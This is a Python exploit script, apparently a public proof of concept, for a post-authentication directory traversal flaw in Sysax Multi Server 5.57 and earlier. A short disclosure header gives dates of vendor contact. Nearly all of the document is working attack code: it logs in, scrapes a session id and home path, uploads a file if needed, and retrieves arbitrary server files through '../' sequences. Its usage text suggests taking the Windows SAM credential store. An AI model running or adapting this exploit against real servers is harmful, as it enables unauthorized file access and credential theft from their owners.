136 lines
No EOL
4.8 KiB
Python
Executable file
136 lines
No EOL
4.8 KiB
Python
Executable file
#!/usr/bin/python
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##########################################################################################################
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#Title: Sysax Multi Server <= 5.57 Directory Traversal Tool (Post Auth)
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#Author: Craig Freyman (@cd1zz)
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#Tested on: XP SP3 32bit and Server 2003 SP2 32bit
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#Date Discovered: March 27, 2012
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#Vendor Contacted: March 29, 2012
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#Vendor Response: April 3, 2012
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#Vendor Fixed: (Currently working on fix, check my site for update)
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#Details: http://www.pwnag3.com/2012/04/sysax-directory-traversal-exploit.html
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##########################################################################################################
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import socket,sys,time,re,base64,urllib
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def main():
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#base64 encode the provided creds
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creds = base64.encodestring(user+"\x0a"+password)
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print "\n"
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print "****************************************************************************"
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print " Sysax Multi Server <= 5.57 Directory Traversal Tool (Post Auth) "
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print " by @cd1zz www.pwnag3.com "
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print " Getting "+getfile+" from " + target + " on port " + str(port)
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print "****************************************************************************"
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#setup post for login
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login = "POST /scgi?sid=0&pid=dologin HTTP/1.1\r\n"
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login += "Host: \r\n"
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login += "http://"+target+"/scgi?sid=0&pid=dologin\r\n"
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login += "Content-Type: application/x-www-form-urlencoded\r\n"
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login += "Content-Length: 15\r\n\r\n"
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login += "fd="+creds+"\n\n"
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#send post and login creds
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try:
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r = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
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r.connect((target, port))
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print "[*] Logging in"
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r.send(login)
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except Exception, e:
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print "[-] Could not login"
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print e
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#loop the recv sock so we get the full page
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page = ''
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fullpage = ''
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while "</html>" not in fullpage:
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page = r.recv(4096)
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fullpage += page
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time.sleep(1)
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#regex the sid from the page
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global sid
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sid = re.search(r'sid=[a-zA-Z0-9]{40}',fullpage,re.M)
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if sid is None:
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print "[x] Could not login. User and pass correct?"
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sys.exit(1)
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time.sleep(1)
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#regex to find user's path
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print "[*] Finding your home path"
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global path
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path = re.search(r'file=[a-zA-Z]:\\[\\.a-zA-Z_0-9 ]{1,255}[\\$]',fullpage,re.M)
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time.sleep(1)
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#if that doesn't work, try to upload a file and check again
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if path is None:
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print "[-] No files found, I will try to upload one for you."
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print "[-] If you don't have rights to do this, it will fail."
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upload = "POST /scgi?"+str(sid.group(0))+"&pid=uploadfile_name1.htm HTTP/1.1\r\n"
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upload += "Host:\r\n"
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upload += "Content-Type: multipart/form-data; boundary=---------------------------97336096252362005297691620\r\n"
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upload += "Content-Length: 219\r\n\r\n"
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upload += "-----------------------------97336096252362005297691620\r\n"
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upload += "Content-Disposition: form-data; name=\"upload_file\"; filename=\"file.txt\"\r\n"
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upload += "Content-Type: text/plain\r\n"
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upload += "-----------------------------97336096252362005297691620--\r\n\r\n"
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u = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
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u.connect((target, port))
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u.send(upload + "\r\n")
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page = ''
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fullpage = ''
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while "</html>" not in fullpage:
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page = u.recv(4096)
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fullpage += page
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path = re.search(r'file=[a-zA-Z0-9]:\\[\\.a-zA-Z_0-9 ]{1,255}[\\$]',fullpage,re.M)
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time.sleep(2)
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if path is None:
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print "\n[x] It failed, you probably don't have rights to upload."
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print "[x] Please retry the script a few times."
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print "[x] You need at least one file in the directory because we need"
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print "[x] to append our directory traversal to the end of your path."
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sys.exit(1)
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print "[+] Got it => " + path.group(0)
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time.sleep(1)
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r.close()
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def dirtrav():
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#here is the dir trav
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url = "http://"+target+"/scgi?"+str(sid.group(0))+"&"+path.group(0)+"../../../../../../../"+getfile
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try:
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retrieved_file = urllib.urlopen(url)
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filename = raw_input("[+] Got your file. What file name do you want to save it as? ")
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output = open(filename,'wb')
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output.write(retrieved_file.read())
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output.close()
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print "[*] Done!"
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except Exception, e:
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print "[x] Either the file doesn't exist or you mistyped it. Error below:"
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print "[x] You can also try to browse this site manually:"
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print "[x] " + url
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print e
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def keepgoing():
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cont = raw_input("[*] Do you want another file (y/n)? ")
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while cont == "y":
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global getfile
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getfile = raw_input("[*] Enter the location of the new file: ")
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dirtrav()
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cont = raw_input("[*] Do you want another file (y/n)? ")
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else:
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sys.exit(1)
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if __name__ == '__main__':
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if len(sys.argv) != 6:
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print "[+] Usage: ./filename <Target IP> <Port> <User> <Password> <File>"
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print "[+] File examples => windows/repair/sam or boot.ini"
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sys.exit(1)
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target, port, user, password, getfile = sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4], sys.argv[5]
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main()
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dirtrav()
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keepgoing() |